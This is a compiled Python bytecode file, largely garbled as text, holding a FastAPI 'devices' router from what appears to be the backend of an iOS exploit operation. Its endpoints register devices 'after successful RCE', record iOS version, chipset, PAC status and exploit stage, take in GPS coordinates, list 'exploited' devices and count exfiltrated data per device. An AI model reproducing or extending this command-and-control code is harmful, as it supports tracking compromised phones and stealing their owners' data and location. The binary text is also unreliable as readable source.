a
    ?jj  ã                   @   sN  d Z ddlmZmZmZmZ ddlmZ ddlm	Z	 ddl
mZ ddlZddlZeddgd	Zejd
ejdeeƒfejeedœdd„ƒZejdejdeeƒfejedœdd„ƒZe d¡eeƒfejedœdd„ƒZe d¡eeƒfeeedœdd„ƒZejde	ej ddddeeƒfeeeedœdd„ƒZejde	ej deeƒfed œd!d"„ƒZejd#e	ej deeƒfed œd$d%„ƒZejd&ejdeeƒfeed'œd(d)„ƒZe d*¡eeƒfeed'œd+d,„ƒZejd-e	ej  dddeeƒfeeeed.œd/d0„ƒZ!e "d&¡eeƒfeed'œd1d2„ƒZ#e d3¡eeƒfeeed4œd5d6„ƒZ$dS )7u   è®¾å¤‡ç®¡ç† API è·¯ç”±é    )Ú	APIRouterÚDependsÚHTTPExceptionÚRequest)ÚSession)ÚList)Úget_dbNz/api/devicesÚdevices)ÚprefixÚtagsz	/register)Úresponse_model)ÚdataÚrequestÚdbc                 C   sB  t  || j¡}|r.| jp|j|_| jp,|j|_| jp:|j|_| jpH|j|_|jj|_	d|_
tdƒj ¡ |_| jpv|j|_| jp„|j|_| jp’|j|_| jp |j|_| jp®|j|_| jp¼|j|_| jpÊ|j|_| jdurÞ| jn|j|_| jpð|j|_| jr|js
i |_|j | j¡ | ¡  | |¡ |S t j|| |jjdS )uP   
    è®¾å¤‡é¦–æ¬¡æ³¨å†ŒæŽ¥å…¥
    åœ¨æˆåŠŸ RCE åŽæˆ–é¡µé¢åŠ è½½æ—¶è°ƒç”¨
    ZonlineÚdatetimeN)Úip)ÚcrudÚ
get_deviceÚdevice_uuidZdevice_modelZios_versionZchipsetZ
user_agentÚclientÚhostÚ
ip_addressÚstatusÚ
__import__r   ÚutcnowÚ	last_seenÚlatitudeÚ	longitudeZaltitudeZaccuracyÚexploit_stageZexploit_chainZruntime_typeZhas_pacZpac_integrityÚextraÚupdateÚcommitÚrefreshZcreate_device)r   r   r   Úexisting© r$   ú(/root/Coruna-main/backend/api/devices.pyÚregister_device   s4    

r&   z
/heartbeat)r   r   c                 C   s    t  || ¡}|stddd‚|S )uG   
    è®¾å¤‡å¿ƒè·³ï¼ˆæ¯30ç§’ä¸ŠæŠ¥ï¼‰
    ä¿æŒè®¾å¤‡åœ¨çº¿çŠ¶æ€
    é”  z Device not found, register first©Ústatus_codeÚdetail)r   Zupdate_device_heartbeatr   ©r   r   Údevicer$   r$   r%   Ú	heartbeat3   s    r-   z	/locationc                 C   s,   t  || ¡}|stddd‚d| j| jdœS )u   è®¾å¤‡æŠ¥å‘ŠGPSä½ç½®r'   úDevice not foundr(   T)ÚokZlatZlng)r   Zupdate_device_locationr   r   r   r+   r$   r$   r%   Úupdate_location?   s    r0   z/exploit_stage)r   Ústager   c                 C   sb   t  || ¡}|stddd‚||_|dkrF|jsFtdƒj ¡ |_d|_| 	¡  | 
|¡ d|dœS )	u   æ›´æ–°è®¾å¤‡exploité˜¶æ®µr'   r.   r(   Ú	completedr   Z	exploitedT)r/   r1   )r   r   r   r   Úfirst_exploit_atr   r   r   r   r!   r"   )r   r1   r   r,   r$   r$   r%   Úupdate_exploit_stageH   s    
r4   Ú éd   )ÚskipÚlimitr   r   c                 C   sz   |rjddl m} | tddgdj¡ tddgdjj|k¡ |tddgdjjƒ¡ 	| ¡ 
|¡ ¡ }|S tj|| |dS )u<   
    èŽ·å–æ‰€æœ‰è®¾å¤‡åˆ—è¡¨
    æ”¯æŒæŒ‰çŠ¶æ€ç­›é€‰
    r   ©Údescú..modelsÚDevice©Úfromlist©r7   r8   )Ú
sqlalchemyr:   Úqueryr   r<   Úfilterr   Úorder_byr   Úoffsetr8   Úallr   Zget_devices)r7   r8   r   r   r:   r	   r$   r$   r%   Úlist_devicesY   s    ÿþþþrF   z/online©r   c                 C   s
   t  | ¡S )u   èŽ·å–åœ¨çº¿è®¾å¤‡åˆ—è¡¨)r   Zget_online_devicesrG   r$   r$   r%   Úlist_onlineh   s    rH   z
/exploitedc                 C   sB   ddl m} tddgdj}|  |¡ |jdk¡ ||jƒ¡ 	¡ S )u%   èŽ·å–å·²æˆåŠŸexploitçš„è®¾å¤‡åˆ—è¡¨r   r9   r;   r<   r=   r2   )
r@   r:   r   r<   rA   rB   r   rC   r3   rE   )r   r:   r<   r$   r$   r%   Úlist_exploitedn   s    
ÿþrI   z/{device_uuid}©r   r   c                 C   s    t  || ¡}|stddd‚|S )u   èŽ·å–å•ä¸ªè®¾å¤‡è¯¦æƒ…r'   r.   r(   )r   r   r   )r   r   r,   r$   r$   r%   r   x   s    r   z/{device_uuid}/statsc                 C   sB   t  || ¡}|stddd‚t  || ¡}|||j|j|j|jdœS )u   èŽ·å–è®¾å¤‡ç»Ÿè®¡æ•°æ®r'   r.   r(   )r,   Údata_countsÚtotal_tasksÚcompleted_tasksÚfailed_tasksÚtotal_exfil)r   r   r   Zget_device_data_countsrL   rM   rN   rO   )r   r   r,   rK   r$   r$   r%   Úget_device_stats   s    úrP   z/{device_uuid}/logs©r   r7   r8   r   c                 C   s   t j|| ||dS )u   èŽ·å–è®¾å¤‡æ—¥å¿—r?   )r   Úget_device_logsrQ   r$   r$   r%   rR   ”   s    rR   c                 C   s&   t  || ¡rdddœS tddd‚dS )u   åˆ é™¤è®¾å¤‡è®°å½•TzDevice deleted)r/   Úmessager'   r.   r(   N)r   Údelete_devicer   rJ   r$   r$   r%   rT   š   s    
rT   z/{device_uuid}/notes)r   Únotesr   c                 C   s>   t  || ¡}|stddd‚||_| ¡  | |¡ d|dœS )u   æ·»åŠ è®¾å¤‡å¤‡æ³¨r'   r.   r(   T)r/   rU   )r   r   r   rU   r!   r"   )r   rU   r   r,   r$   r$   r%   Úadd_device_notes¢   s    
rV   )%Ú__doc__Úfastapir   r   r   r   Zsqlalchemy.ormr   Útypingr   Údatabaser   r   ÚschemasÚrouterÚpostZ	DeviceOutZDeviceRegisterr&   ZDeviceHeartbeatr-   ZDeviceLocationUpdater0   Ústrr4   ÚgetÚintrF   rH   rI   r   rP   ZDeviceLogOutrR   ÚdeleterT   rV   r$   r$   r$   r%   Ú<module>   s<   %$	"